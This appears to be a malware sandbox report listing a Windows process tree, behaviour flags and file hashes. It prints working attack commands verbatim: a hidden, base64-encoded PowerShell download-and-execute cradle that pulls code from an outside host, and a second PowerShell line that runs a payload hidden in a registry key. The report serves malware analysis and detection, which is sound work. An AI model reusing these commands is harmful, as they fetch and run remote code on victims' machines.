Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ph2408.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -enc JABNAD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGgAaQBuAGcAYwBhAGwAbABlAGQAYwBhAGsAZQAuAGMAbwBtAC8AZgBpAGwAZQAnACkAOwAkAHQAPQAkAE0ALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApADsAJABSAD0AJAB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQARgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACQAUgA7ACQAcAA9ACQARgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AGkAZQB4ACgAJABwACkAOwAgAA==2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:568 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='3343';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1544
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5ef6a5cbd2a38c1f21c0fde451905bf58
SHA17dc9f018963cfa4b25527b493c7c15ea29865a0e
SHA256a907229d9ba86566dc55739a0195b4483e725bed2c5360066a33c49487a2ba08
SHA512c906808df14e03ddeafbc7d1109731b9cc96a371d60968426f09485f15e593c9e7094889f9a9f02eb852ee0593d1b1ab6a93ea945d00c9faad7ab41db4a81dda